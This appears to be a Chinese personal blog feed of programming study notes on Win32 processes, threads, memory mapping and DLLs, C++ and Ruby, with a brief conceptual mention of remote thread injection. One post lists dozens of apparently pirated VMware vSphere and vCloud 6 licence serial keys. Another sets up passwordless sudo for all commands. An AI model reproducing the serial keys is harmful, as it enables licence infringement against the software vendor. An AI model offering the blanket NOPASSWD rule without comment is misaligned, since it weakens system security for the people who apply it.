远程线程注入的关键点

通过CreateRemoteThread创建线程
被创建的线程的本体在目标进程内部
被创建的线程使用的各类资源均依赖于目标进程

思考：

动态链接库

luodaoyi@gmail.com (luodaoyi) — Tue, 22 May 2018 21:51:05 +0000

动态链接库

静态链接库的缺陷

链接时将函数加入到exe导致exe变大
在运行时对于不同进程他们所使用的同一个函数都会独占空间，造成资源浪费

怎么解决

 利用之前学习过的内存知识，例如映射类型的内存块
 将这些公共代码放在文件中没在进程运行的时候在加载该文件
 并且在内存中只需要加载一边，不同进程使用同一份公共代码时，只需要将之前加载过的这个文件映射到自己内存中即可

静态链接库

luodaoyi@gmail.com (luodaoyi) — Tue, 22 May 2018 21:49:41 +0000

静态链接库

如何创建静态链接库

vs新建项目，选择静态链接库
在项目文件中新建 .cpp 文件与.h 文件

项目编译生成后会产生一个 .lib文件

如何使用静态链接库

将生成的.h与.lib文件复制到项目根目录

直接添加.lib与.h到项目中
在项目代码中添加头文件引用

#include "xxx.h" #pragma comment(lib,"xxx.lib")

静态链接库的生成

lib的生成和我们的exe是一样的，也是要经过预处理编译会变的过程，最终生成的lib 就是多个.o(obj)文件的集合体

以文件为后背存储区的内存交换文件

luodaoyi@gmail.com (luodaoyi) — Fri, 04 May 2018 10:35:24 +0000

以文件为后背存储区的内存交换文件

各种后备存储器的内存映射文件

以磁盘中文件系统的具体文件为后备存储的页交换文件(文件映射)
以页交换文件("虚拟内存")为后备存储器的页交换文件(共享内存)

页交换文件(虚拟内存)

通过CreateFileMapping api 创建文件映射内核对象，在内存中申请空间(物理内存和虚拟内存)
通过MapViewOfFile 在响应的进程虚拟内存空间中预定对应空间，并且把上一步的内存映射到进程虚拟空间中。
这样就实现了共享内存

页交换文件与内存映射文件

luodaoyi@gmail.com (luodaoyi) — Thu, 03 May 2018 23:58:00 +0000

页交换文件与内存映射文件

内存的几种状态和类型

私有类型：

使用VitualAlloc申请分配/调拨内存后，申请的内存只能被当前进程使用。其他进程无法访问。这就是所谓的私有内存

映射类型 -> 页交换文件(虚拟内存)

页交换文件补充了我们的物理内存的不足。在内存中长时间不活跃的数据，系统会将内存写入页交换文件。用以节省内存，所以页交换文件也是计算机内存的一部分

物理内存和虚拟内存的关系

luodaoyi@gmail.com (luodaoyi) — Mon, 23 Apr 2018 22:48:00 +0000

物理内存和虚拟内存的关系

进程容器中4GB空间的内容分布

在所谓的4GB空间内，系统内核占据了高2GB的空间，普通进程看不见摸不着，而且高2GB的空间是全局共享。全局就那么一份，各个进程间共享

观察进程内存分布，我们发现进程中真正使用的内存远远不到2gb，而且地址不是连续的。说明操作系统并不是一次性吧内存都给予进程

事件和线程同步

luodaoyi@gmail.com (luodaoyi) — Thu, 19 Apr 2018 00:53:40 +0000

事件和线程同步

函数

//创建一个时间对象
HANDLE CreateEvent(
 LPSECURITY_ATTRIBUTES lpEventAttributes, // SD 安全属性
 BOOL bManualReset, // reset type 0自动复位(互斥)、1手动复位(通知模式)
 BOOL bInitialState, // initial state 初始创建时时间是否具备信号
 LPCTSTR lpName // object name 对象的名称
);
//将目标事件对象设置为有信号的（同时通知其他线程）
BOOL SetEvent(
 HANDLE hEvent // handle to event //目标事件的句柄
);
//将目标事件对象设置为无信号的
BOOL ResetEvent(
 HANDLE hEvent // handle to event 目标事件的句柄
);

通知模式

回顾互斥模式

ubuntu sudo 免密码

luodaoyi@gmail.com (luodaoyi) — Wed, 18 Apr 2018 14:03:22 +0000

ubuntu sudo 免密码

cd /etc/sudoers.d
sudo touch nopasswd4sudo
sudo vi nopasswd4sudo
//输入
ubuntu ALL=(ALL) NOPASSWD : ALL
ESC :wq!

临界区、线程锁和互斥体

luodaoyi@gmail.com (luodaoyi) — Wed, 18 Apr 2018 03:05:41 +0000

临界区、线程锁和互斥体

不可重入函数

不可重入函数: 当这个函数返回前，不可以被其他线程调用

原因：

printf : 访问了引用全局变量stdout
malloc : 引用了全局内存分配表
free : 引用的全局内存分配表

类似的假如我在我的线程中使用全局变量会不会出现类似问题？

坑：

当多线程同时去访问所谓不可重入函数的时候，当A线程调用printf执行完毕之前，发生了线程切换去执行B线程，而B线程如果又再等待A线程的时候，那么就会有几率触发bug，永久等待。。。。

vmware 6 虚拟化全系列序列号

luodaoyi@gmail.com (luodaoyi) — Mon, 16 Apr 2018 21:40:27 +0000

vmware 6 虚拟化全系列序列号

vSphere 6 Hypervisor

HY0XH-D508H-081U8-JA2GH-CCUM2

4C4WK-8KH8L-H85J0-UHCNK-8CKQ8

NV09R-2W007-08D38-CA956-33U28

JU400-6EK4L-080V9-QT8EP-2KAQ2

vSphere 6 Hypervisor for Embedded OEMs

NC6HH-26J4N-48098-Y0AX0-1GA66

HY0J0-6L28H-081W8-4TCN0-32RP0

0V012-002DJ-480T1-UHAE0-9GULF

4G6WR-A0K4M-08420-J8CN6-8A2QA

vSphere 6 Desktop Host

MF00U-65K53-H8DF9-Q20ZH-26R40

JV6D2-6YLDN-088C0-Q92N2-8Z00A

HG49R-2234J-08EJ8-WC9E2-87H2D

NV6TR-D4HD1-M84L1-P19QM-0PK3D

vSphere 6 for vCloud Service Provider Standard

JG2JK-DM01L-M8101-J8AZH-3LUH2

JZ41H-0X153-H8579-A32ZK-16H20

4A0HU-DU084-H8990-C9376-16KHF

1V0EA-FNK51-H85K8-H1AN6-2U8PD

vCloud Suite 6 Standard

HV0N8-AC382-H8ET1-631X6-23K10

HU4EA-A52E2-H89V9-T295K-0V8Q4

NZ4XH-2VK43-H8D30-6L974-97800

NU2DH-DW145-H81Y8-KL0QP-9GAQD

vCloud Suite 6 Advanced

MU2HU-DEHEQ-M85U0-N3356-07A5D

HC0R0-AZJE3-08EF1-T99E6-86R32

HG0JK-F4J1M-08E49-L91Q2-8K832

5U40R-D615H-M8EZ8-D82ZP-12848

vCloud Suite 6 Enterprise

JY04H-DFJ01-M8869-428EM-96R60

5Y04R-AYKE3-H8DR8-NK0EM-1UAL2

NC682-0GJ4P-08EM1-32ANM-0AU6F

NZ2JR-6U286-H81N0-8V3Z6-1FHH2

vSphere with Operations Management 6 Standard

HZ4J8-AWJ4Q-M8560-YT3Q6-0F052

JU24R-67H53-H8DF1-4L17K-8U208

MY6DK-0K1D2-M80T0-UR1Z4-8CK42

JU4E2-2W085-M8D78-M0AZM-AARKF

vSphere with Operations Management 6 Enterprise

JA60R-2JK84-M8DQ1-4L9N0-8VRP2

MG4T2-FY29P-480F9-9H0X0-16K1D

1U65R-2Y24N-M8DR1-U2C50-16HQ8

1V2HU-26KD1-08D60-LH9GK-CPU6F

vSphere 6 Foundation

JA6R2-DELEK-H8EP8-83AXP-07RQ8

0G6EA-07J5M-M8991-TJ0Z6-2U87D

NU61R-ADKD2-488M9-CV8NH-A6K30

0Y050-A3L42-084C9-6LCGP-3AR3D

vSphere 6 Foundation for Embedded OEMs

HA2JK-42HD4-H80C0-79CZ0-1L012

JY2E2-6W11L-H81K0-0A274-3ZU36

4G6HU-FF05N-085L1-R0ANM-C705F

4Y2TA-2R08P-H80H9-N317H-1ZK16

vSphere 6 Embedded Essentials

NY6M2-D5H8L-489D0-280Z0-2Q004

HA080-FP203-M8830-XH9QM-3PU2D

JF0NH-AGJ0P-H8EW0-2U85H-AU0QA

HU09A-6F04H-08E90-G28Z6-1A808

vSphere 6 Embedded Foundation

1A6H8-DT2D3-H8DR8-5L9EK-2AH18

线程的创建和控制

luodaoyi@gmail.com (luodaoyi) — Thu, 12 Apr 2018 02:56:00 +0000

线程的创建和控制

进程和线程的关系：进程提供资源，线程使用资源完成工作

创建线程函数

HANDLE CreateThread(
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD /安全属性
 DWORD dwStackSize, // initial stack size //线程栈大小-
 LPTHREAD_START_ROUTINE lpStartAddress, // thread function //线程代码
 LPVOID lpParameter, // thread argument //线程参数
 DWORD dwCreationFlags, // creation option //创建标识
 LPDWORD lpThreadId // thread identifier //线程id
);

线程的控制

//线程等待
//等待一个
DWORD WaitForSingleObject(
 HANDLE hHandle, // handle to object，监视对象的句柄
 DWORD dwMilliseconds // time-out interval 指定超时等待时间 毫秒为单位
);
//等待多个
DWORD WaitForMultipleObjects(
 DWORD nCount, // number of handles in array,句柄数量
 CONST HANDLE *lpHandles, // object-handle array 句柄数组
 BOOL fWaitAll, // wait option 是否全等待/TRUE 全部结束才返回/False 一个结束就返回
 DWORD dwMilliseconds // time-out interval，超时时间
);
//获取线程的退出代码
BOOL GetExitCodeThread(
 HANDLE hThread, // handle to the thread
 LPDWORD lpExitCode // termination status
);

句柄表和继承

luodaoyi@gmail.com (luodaoyi) — Tue, 10 Apr 2018 00:37:00 +0000

句柄表和继承

句柄代表着备操作的对象

句柄的本质(handler)

句柄表可以看做一个非常大的结构体数组
句柄表的结构

索引值：进程通过索引找到句柄表中对应的选项
内核对象地址：通过地址直接找到对应的内核对象
访问掩码：控制了访问权限
标志位：标志改句柄能否被继承

句柄表是如何工作的：

每个进程的内核对象，都有一个句柄与之对应
操作对应进程，需要获得进程句柄。通过系统api操作

ListView控件

luodaoyi@gmail.com (luodaoyi) — Mon, 09 Apr 2018 01:06:00 +0000

ListView控件实现简单进程管理

用到的相关api函数

//获取控件句柄
HWND GetDlgItem(
 HWND hDlg,//获得控件所处的窗口的句柄
 int nIDDlgItem //控件id
);
//初始化列表的列 （listview插入新的一列
int ListView_InsertColumn(
 HWNDhwnd, //控件的句柄
 int iCol, //第几列 (索引 index
 const LPLVCOLUMNpcol //结构体指针 （包含新列的结构体
);
//插入新的一行条目
int ListView_InsertItem(
 HWND hwnd,
 const LPLVITEM pitem
);
//设置条目的属性
BOOL ListView_SetItem(
 HWND hwnd,
 const LPLVITEM pitem
);
//删除所有项目
BOOL ListView_DeleteAllItems(
 HWND hwnd
);
//标准输出格式化字符串
swprintf(buffer,L"%s,哈哈",param);
//清空
ZeroMemory(buffer);

list属性：

进程的遍历、获取与销毁

luodaoyi@gmail.com (luodaoyi) — Sun, 08 Apr 2018 02:05:02 +0000

进程的遍历、获取与销毁

创建快照遍历

//获得进程所使用的堆，模块和线程的信息快照
HANDLE WINAPI CreateToolhelp32Snapshot
(
 DWORD dwFlags,//标志位
 DWORD th32ProcessID //进程ID
)
//dwFlags: 指定的快照中，指定需要拍的系统部分
TH32CS_INHERIT  声明快照句柄是可继承的。
TH32CS_SNAPALL     在快照中包含系统中所有的 进程和线程。
TH32CS_SNAPHEAPLIST 在快照中包含ID所指定的进程的所有的堆。
TH32CS_SNAPMODULE  在快照中包含在ID所指定的进程的所有的模块。
TH32CS_SNAPPROCESS 在快照中包含系统中所有的进程。
TH32CS_SNAPTHREAD  在快照中包含系统中所有的线程。
BOOL WINAPI Process32First(
    HANDLE   hSnapshot,     //快照句柄  
    LPPROCESSENTRY32 lppe    //获得的信息
);获得快照中的第一个成员的信息
BOOL WINAPI Process32Next(
    HANDLE   hSnapshot,       //快照句柄
    LPPROCESSENTRY32 lppe    //获得的信息
);获得快照中后一个成员的信息

函数实现

进程的创建

luodaoyi@gmail.com (luodaoyi) — Sat, 07 Apr 2018 10:09:51 +0000

进程的创建

进程的启动过程

打开目标exe的映象文件
创建进程内核对象
映射NTDLL到内存
创建线程内核对象
通知子系统对进程进行管理
启动线程初始化空间和加载其他DLL
跳转到入口处开始执行

CreateProcess api

BOOL CreateProcess(
 LPCTSTR lpApplicationName, // name of executable module
 LPTSTR lpCommandLine, // command line string
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
 BOOL bInheritHandles, // handle inheritance option
 DWORD dwCreationFlags, // creation flags
 LPVOID lpEnvironment, // new environment block
 LPCTSTR lpCurrentDirectory, // current directory name
 LPSTARTUPINFO lpStartupInfo, // startup information
 LPPROCESS_INFORMATION lpProcessInformation // process information
);
//中文版注释
BOOL CreateProcess(
 LPCTSTR lpApplicationName, // 可执行模块名称 (全路径 必须是const字符串
 LPTSTR lpCommandLine, // 命令行(字符串 可以不是const字符串
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全描述符
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程描述符
 BOOL bInheritHandles, // 继承标志位
 DWORD dwCreationFlags, // 创建标志位 (指定控制优先级和创建过程的额外标志，除了如前说，可以在任何组合中指定下列创建标标志
 LPVOID lpEnvironment, // 进程环境块
 LPCTSTR lpCurrentDirectory, // 驱动目录
 LPSTARTUPINFO lpStartupInfo, // 启动信息 指向一个窗体结构，该接口体表示新进程的窗口应该如何出现
 LPPROCESS_INFORMATION lpProcessInformation // 进程信息
);
//启动信息参数的结构体
typedef struct _STARTUPINFO {
 DWORD cb; //记录指定结构体大小，以字节为单位
 LPTSTR lpReserved;
 LPTSTR lpDesktop;
 LPTSTR lpTitle; //对于控制台进程，日过创建了新的控制欲窗口，则会显示标题栏中的标题，如果NULL。可执行文件额名称将会用作窗口标题， This parameter must be NULL for GUI or console processes that do not create a new console window.
 DWORD dwX; //控制窗口位置x
 DWORD dwY; //控制窗口位置y
 DWORD dwXSize; //控制窗口宽度
 DWORD dwYSize; //控制窗口高度
 DWORD dwXCountChars;
 DWORD dwYCountChars;
 DWORD dwFillAttribute;
 DWORD dwFlags;
 WORD wShowWindow; //窗口显示方式
 WORD cbReserved2;
 LPBYTE lpReserved2;
 HANDLE hStdInput;
 HANDLE hStdOutput;
 HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
//进程信息结构体
typedef struct _PROCESS_INFORMATION {
 HANDLE hProcess; //进程句柄
 HANDLE hThread; //主线程句柄
 DWORD dwProcessId; //被创建的进程id
 DWORD dwThreadId; //被创建的主线程ID
} PROCESS_INFORMATION;

exp: 启动qq

进程和线程

luodaoyi@gmail.com (luodaoyi) — Fri, 06 Apr 2018 04:22:28 +0000

进程和线程

什么是进程？

进程和普通计算机程序的区别

进程是运行中的程序
进程 活在内存中 有血有肉有灵魂
程序 死在 硬盘上的有肉没血没灵魂

如果进程是空间的概念，那么这段空间里有什么？

如果进程是空间概念，那么进程是怎么工作的？

进程和线程的关系

进程：提供了必要的资源和空间
线程：使用进程中的资源完成工作的工作人员
关系：进程提供资源，线程使用资源完成工作

32位操作系统中每个进程的内存情况

操作系统是如何管理内存的

对于每个进程而言。只有低2GB的的内存空间才是可以随意使用的，高2GB的空间是系统内核所在，无权限的话根本不可以访问。
而且搞2GB的系统内核区域内存全局就一份。所有进程访问的都是那一份

窗口与事件

luodaoyi@gmail.com (luodaoyi) — Tue, 03 Apr 2018 00:56:59 +0000

窗口与事件

窗口

什么是窗口?

Windows中称为视窗，是一个程序的操作显示界面

窗口执行动作是由什么驱动的？

Windows中通过什么机制将发生的一些动作和响应的响应函数连接起来

事件消息机制

事件

用户操作或者Windows系统自身所产生的动作就是发生了什么，事件总是和一个ID有关

消息

就是用于描述某个事件所发生的信息 消息就是 你该干什么了

API与宽字符

luodaoyi@gmail.com (luodaoyi) — Thu, 29 Mar 2018 13:46:00 +0000

API与宽字符

API（Application Programming Interface,应用程序编程接口）

Api的定义

api就是一些预先定义的函数，目的是提供应用程序与开发人员基于某软件或者硬件的一访问一组例程的能力，而又无需访问源码，或者理解内部工作机制的细节

WindowsAPI的定义

WindowsAPI是一套用来控制windows的各个木粉的外观和行为的预先定义的WIndows函数
应用程序接口

win32中的宽字符

luodaoyi@gmail.com (luodaoyi) — Wed, 28 Mar 2018 01:55:20 +0000

win32中的宽字符

宽字符

数据类型	容器、模板
ASCII	一个字符	一个字节
GB码(扩展了的ASCII)	英文字符	一个字节
GB码	中文字符	两个字节
UNICODE字符集(unicode编码实际指的是utf-16)	常用字符	两个字节

宽字符： 用多个字节来表示的字符称之为宽字符(只要不是以单字节存储都可称为宽字符)

unicode和utf8编码

luodaoyi@gmail.com (luodaoyi) — Tue, 27 Mar 2018 02:51:00 +0000

兼容问题

由于ASCII存在字符含量过少的缺陷，所以不但我国自己搞出了国际码。其他国家也都设计出了符合自己国情的字符集

但是这就带来了问题

各个字符集之间不兼容怎么办？

Unicode

Unicode 4个字节32位

真正有效范围： 0x0 – 0x 10ffff
约十进制：1114112 个字符

unicode相当于 “区位码”(也就是电脑中运行的)，实际存储要按照相应的编码方案

GB2312原文到GB2312机内码

luodaoyi@gmail.com (luodaoyi) — Tue, 27 Mar 2018 01:00:00 +0000

GB2312原文到GB2312机内码

ANSCII

汉字编码国家标准

区位码

01-09区为特殊字符区
10-15区为自定义区
16-87区为汉字编码区

兼容演变：

1. 区位码标准中没有定义控制字符
 解决方案：
 将整个区位码向后移动32位(具体表现为每一字节都加上0x20)得到GB2312原码（国标码）
2. 原版ASCII与我们的初版国际码不兼容
 解决方案：
 将整个BG2312源码向后移动0x80(具体表现为每一字节都加上0x80)得到GB2312机内码

Cpp9 模板

luodaoyi@gmail.com (luodaoyi) — Thu, 01 Mar 2018 08:27:00 +0000

模板

下面是一个针对int的冒泡排序

// _20180301.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
void Sort(int* arr,int nLength)
{
 int i,k;
 for (i = 0;ix > base.x && this->y > base.y;
 }
private:
 int x;
 int y;
};
template
void Sort(T* arr,int nLength)
{
 int i,k;
 for (i = 0;iy)
 return x;
 else
 return y;
 }
 M min()
 {

Cpp8 运算符重载和深浅拷贝

luodaoyi@gmail.com (luodaoyi) — Fri, 23 Feb 2018 22:25:00 +0000

深浅拷贝

相同类型间可以直接拷贝

// _20180212.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include
#include
class A
{
private:
 int* a;
public:
 A()
 {
 a = new int[10];
 }
 virtual ~A()
 {
 delete a;
 printf("析构 A \n");
 }
};
int main(int argc,char* argv[])
{
 A a1;
 A a2;
 a1 = a2;
 return 0;
}
//反汇编
27: A a1;
0040108D lea ecx,[ebp-14h]
00401090 call @ILT+15(B::B) (00401014)
00401095 mov dword ptr [ebp-4],0
28: A a2;
0040109C lea ecx,[ebp-1Ch]
0040109F call @ILT+15(B::B) (00401014)
004010A4 mov byte ptr [ebp-4],1
29: a1 = a2;
004010A8 lea eax,[ebp-1Ch]
004010AB push eax //a2 作为参数传递
004010AC lea ecx,[ebp-14h] //a1 作为this指针传递
004010AF call @ILT+45(A::operator=) (00401032)
30: return 0;
A::operator=:
004012E0 push ebp
004012E1 mov ebp,esp
004012E3 sub esp,44h
004012E6 push ebx
004012E7 push esi
004012E8 push edi
004012E9 push ecx
004012EA lea edi,[ebp-44h]
004012ED mov ecx,11h
004012F2 mov eax,0CCCCCCCCh
004012F7 rep stos dword ptr [edi]
004012F9 pop ecx
//eax = a1首地址
004012FA mov dword ptr [ebp-4],ecx
004012FD mov eax,dword ptr [ebp-4]
//ecx = a2首地址
00401300 mov ecx,dword ptr [ebp+8]
//ecx + 4 这里是 class A中变量a的地址(ecx 对应虚表地址)
//因为ecx是变量a2 所以这里的edx = a2.a
00401303 mov edx,dword ptr [ecx+4]
//a2.a 赋值给a1.a
00401306 mov dword ptr [eax+4],edx
//返回a1首地址
00401309 mov eax,dword ptr [ebp-4]
0040130C pop edi
0040130D pop esi
0040130E pop ebx
0040130F mov esp,ebp
00401311 pop ebp
00401312 ret 4

我们发现使用=直接赋值对象，编译器自动生成了operator= 函数用于处理类型赋值
我们观察编译器自动生成的函数operator=，这里赋值直接略过了虚表(ecx+4)

Ruby11 拾遗

luodaoyi@gmail.com (luodaoyi) — Tue, 20 Feb 2018 14:55:00 +0000

Agenda

Loop
Expression
File Read/Write
Debug
Process & Thread

Loop

while

a = 10
while a > 0
 puts a
 a -= 1
end

until

a = 100
until a == 0
 puts a
 a -= 1
end

loop

a = 10
loop do
 break if a 0

!~ 正则匹配是否匹配不到匹配到返回fals 匹配不到返回true

/666/i !~ "hello world" # => true

alias 别名

def hello
 "hello"
end
alias old_hello hello
def hello
 "new hello"
end
puts old_hello
puts hello

File Read/Write 文件读写

File.read
File.readlines
File#rewind etc
IO.read/write

File Read

Ruby10 Class Module Gem 深入

luodaoyi@gmail.com (luodaoyi) — Tue, 20 Feb 2018 14:24:00 +0000

Agenda

class_eval & instance_eval
method_missing
Module as a namespace
Gems
require vs load
$LOAD_PATH

class_eval

首先class_eval是只有类才能调用的，Class#class_eval
class_eval会重新打开当前类的作用域

# class_eval
class User
end
User.class_eval do
 attr_accessor :name
 def hello
 "hello"
 end
end
user = User.new
user.name = "world"
puts user.name
puts user.hello


# module"s self
module Management
 def self.track
 "track"
 end
end
class User
 include Management
end
# User.track # => error
Management.track


# class_eval in project
# requirement: we need to execute a class method when module included
module Manegement
 def self.included base #Manafement模块被其他类Included的时候会执行
 base.extend ClassMethods #User类注入ClassMethod
 base.class_eval do #打开User类
 setup_attribute
 end
 end
 # Manegement 内部模块 当引入Management的时候 会被引用为其他类的类方法
 module ClassMethods
 def setup_attribute
 puts "setup_attribute"
 end
 end
end
class User
 include Manegement #目的是在include Management 的时候执行一些方法或者设置
end

instance_eval

instance_eval 是所有类实例的方法
打开的是当前实例作用域

# instance_eval, instance methods and class methods
# 1. as a question
class User
end
User.class_eval do
 def hello
 "hello"
 end
end
User.instance_eval do
 def hi
 "hi"
 end
end
puts User.hi
user = User.new
puts user.hello
# puts user.hi #报错

# instance_eval, singleton_method
a = "xxx"
a.instance_eval do
 def to_hello
 self.replace("hello")
 end
end
puts a.to_hello
# b = "world"
# b.to_hello # => error

# class_eval as instance_eval
class User
end
User.class_eval do
 def hello
 "hello"
 end
 # works same as instance_eval
 def self.hi
 "hi"
 end
end
puts User.new.hello
puts User.hi

method_missing

当当前作用域上下文没有找到方法时就会调用
method_missing方法

# metho missing
#
# 1. how it works
# 2. ancestors
# 3. rails"s AR
class User
 def hello
 "hello from User"
 end
 def method_missing(name, *args)
 "method name is #{name} ,parameters :#{args}"
 end
end
user = User.new
puts user.hello
puts "-" * 30
puts user.hi("hello",19)

Namespace

Module
Class
Constants

使用::来访问

Ruby9 Class & Modules 进阶

luodaoyi@gmail.com (luodaoyi) — Sun, 18 Feb 2018 06:52:49 +0000

Ruby的内部类结构

Array.class # => Class
Class.class # => Class

superclass 查看父类

Array.superclass # =>Object
Object.superclass # =>BasicObject
BasicObject.superclass # => nil

ancestors 查看当前类的继承链

Array.ancestors # => [Array, Enumerable, Object, Kernel, BasicObject]

Method Finding 方法查找

# class structure, method finding
class User
 def panels
 @panels ||= ["Profile", "Products"]
 end
end
class Admin < User
end
puts Admin.ancestors
admin = Admin.new
p admin.panels
# 从下往上查找 在admin中查找 找不到往上找User 然后Object 然后Kernel 然后 BasicObject

Method Overwrite 方法覆盖

class和module可以重新打开
方法可以重定义

# 重新打开class
class User
 def panels
 @panels ||= ["Profile", "Products"]
 end
end
class User
 def panels
 "overwrite"
 end
end
puts User.ancestors
admin = User.new
p admin.panels
# 从下往上查找 在admin中查找 找不到往上找User 然后Object 然后Kernel 然后 BasicObject

# overwrite and re-open
class Array
 def to_hello_word
 "hello #{self.join(", ")}"
 end
end
a = %w[cat horse dog]
puts a.to_hello_word

# overwrite and re-open
a = %w[cat horse dog]
puts a.join(",")
class Array
 def join
 "hello"
 end
end
puts "-" * 30
puts a.join

Module

Array.ancestors # => [Array, Enumerable, Object, Kernel, BasicObject]
Enumerable.class # => Module
Module.class # => Class

# module acts linke a class
module Management
 def company_notifies
 "company_notifies from management"
 end
end
class User
 include Management
 def company_notifies
 puts super
 "company_notifies from user"
 end
end
p User.ancestors
puts "-" * 30
user = User.new
puts user.company_notifies

# module included sequence
module Management
 def company_notifies
 "company_notifies from management"
 end
end
module Track
 def company_notifies
 "company_notifies from track"
 end
end
class User
 include Management
 include Track
 def company_notifies
 puts super
 "company_notifies from user"
 end
end
p User.ancestors
puts "-" * 30
user = User.new
puts user.company_notifies

# 1 module included in module
# 2 module acts as class
module Management
 def company_notifies
 "company_notifies from management"
 end
end
module Track
 include Management
 def company_notifies
 puts super
 "company_notifies from track"
 end
end
p Track.ancestors
puts "-" * 30
include Track
puts company_notifies

# module"s class method
module Management
 def self.progress
 "progress"
 end
 # you need to include/extend/prepend to use this metod
 def company_notifies
 "company_notifies from management"
 end
end
puts Management.progress

include vs prepend

include 把模块注入当前类的继承链(祖先链) 后面
prepend 把模块注入当前累的继承链(祖先链) 前面

# module include
# include
module Management
 def company_notifies
 "company_notifies from management"
 end
end
class User
 prepend Management
 # include Management
 def company_notifies
 "company_notifies from user"
 end
end
p User.ancestors
puts "-" * 30
user = User.new
puts user.company_notifies

include和exten方法

当模块被include时会被执行，同事会传递当前作用于的self对象

Ruby8 继承(Inheritance)和模块(Modules)

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Feb 2018 13:02:00 +0000

继承示例

# inheritance
class User
 attr_accessor :name, :age
 def initialize name, age
 @name, @age = name, age
 end
 def panels
 # ||= 操作符， 如果变量不存在 那么就赋值
 @panels ||= ["Profile", "Products"]
 end
end
class Admin < User
 def panels
 @panels ||= ["Profile", "Products", "Manage Users", "System Setup"]
 end
end
user = User.new("user_1", 18)
p user.panels
puts "-" * 30
admin = Admin.new("admin_1", 28)
puts admin.name
p admin.panels
# 查看这个类的父类
p Admin.superclass

常用關鍵字

super关键字
调用父类的同名方法
self關鍵字
指向當前作用域實例

Ruby7 OOP

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Feb 2018 11:43:00 +0000

Everything is Object 一切皆对象

1
2
3
4
5
6
7



 a = "hello"
 a.class # => String
 b = 3.14
 b.class # => Float
 c = %w[pear cat horse]
 c.class # => Array

Instance Method & Instance Attribute 实例方法，实例属性

Instance Method: 实例方法，成员方法，成员函数
Instance Attribute: 实例变量，成员属性，属性(property)，使用@定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


 # class
 class User
 def initialize name, age
 @name = name
 @age = age
 end
 # getter
 def name
 @name
 end
 def age
 @age
 end
 end
 user = User.new("Hello", 18)
 puts user.name
 puts user.age

 # class
 class User
 def initialize name, age
 @name = name
 @age = age
 end
 # getter
 def name
 @name
 end
 def age
 @age
 end
 # setter
 def name= name
 @name = name
 end
 def age= age
 @age = age
 end
 end
 user = User.new("Hello", 18)
 puts user.name
 puts user.age
 puts "-" * 30
 user.name = "hello 2"
 user.age = 20
 puts user.name
 puts user.age
 

 # class, attr_reader, attr_writer
 class User
 attr_reader :name
 attr_reader :age
 attr_writer :name
 attr_writer :age
 def initialize name, age
 @name = name
 @age = age
 end
 end
 user = User.new("Hello", 18)
 puts user.name
 puts user.age
 puts "-" * 30
 user.name = "hello 2"
 user.age = 20
 puts user.name
 puts user.age
 

 # class, method
 class User
 attr_accessor :name
 attr_accessor :age
 def initialize name, age
 @name = name
 @age = age
 end
 def say_hi
 puts "hello #{@name}, i am #{@age}"
 end
 end
 user = User.new("Hello", 18)
 user.say_hi

Class Method & Class Variable 类方法，类变量

Class Method:类方法，静态方法
Class Variable:类变量, 使用@@定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51


 # class, method
 class User
 attr_accessor :name
 attr_accessor :age
 @@counter = 0
 def initialize name, age
 @name = name
 @age = age
 @@counter += 1
 end
 def say_hi
 puts "hello #{@name}, i am #{@age}"
 end
 def self.get_counter
 @@counter
 end
 end
 puts User.get_counter
 user = User.new("Hello", 18)
 user.say_hi
 puts User.get_counter

## Access Control 访问控制

 1. public
 2. protected
 3. private

 # class, method
 class User
 attr_accessor :name
 attr_accessor :age
 def initialize name, age
 @name = name
 @age = age
 end
 def say_hello
 puts "hello..."
 say_hi
 say_hey
 end
 def say_hi
 puts "hello #{@name}, i am #{@age}"
 end
 def say_hey
 puts "hey, i am #{@name}"
 end
 protected :say_hi, :say_hey
 end
 user = User.new("Hello", 18)
 user.say_hello

Dynamic Ruby 动态特性

User内幕

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


 # attr_accessor 方法从哪里来的？
 class User
 # ...
 end
 User.class # => class
 # Class.attr_accessor 背后的秘密
 # define_method
 # attr_accessor, define_method
 define_method :hello do
 puts "hello world"
 end
 hello

自己实现 attr_accessor

Ruby6 细节补充

luodaoyi@gmail.com (luodaoyi) — Sat, 17 Feb 2018 11:42:00 +0000

代码规范

使用UTF-8编码
使用空格缩进，不使用tab, 1 tab = 2 spaces
不需要使用分号(;)和反斜杠()连接代码

Demo

# basic types
a = 1
b = "hello world"
# one line
c = ["pear", "cat", "dog"]
# or multiple lines
c2 = [
 "pear",
 "cat",
 "dog"
]
d = { name:"world", age:18 }
d2 = {
 name:"world",
 age:18
}
# source layout, conversion
# with or without()
def hello(name, age = 18)
 puts "hello #{name}, and age is #{age}"
end
def hello name, age = 18
 puts "hello #{name}, and age is #{age}"
end

变量类型

local variables 局部变量: a = 1,b = hello
constants 常量: Names = [’john’,’alex’]
global variables 全局变量: $platform = ’mac’
instance variables 实例变量: @name = ’world’
class variables 类变量: @@counter = 20

# variables scope
# constant
Name = "world"
Name = "worlds" # => output wraning
Name.replace "world_2" # => safe
puts Name

# instance variable and class variable
class User
 # 相当于定义一个get操作：相当于有一个name的实例变量
 # 使用attr_reader关键字，实现把内部的实例变量 向外部保留一个访问接口
 attr_reader :name
 ## 相当于静态变量
 @@counter = 0
 def initialize name
 @name = name
 @@counter += 1 #记录实例化次数
 end
 def get_counter
 @@counter
 end
end
user = User.new "world"
puts user.name
puts user.get_counter

# variables scope
# global variables
def hello
 puts $$ #=> process id
 p $: # => ruby loading path
end
hello

Boolean表达式

%%, ||, !
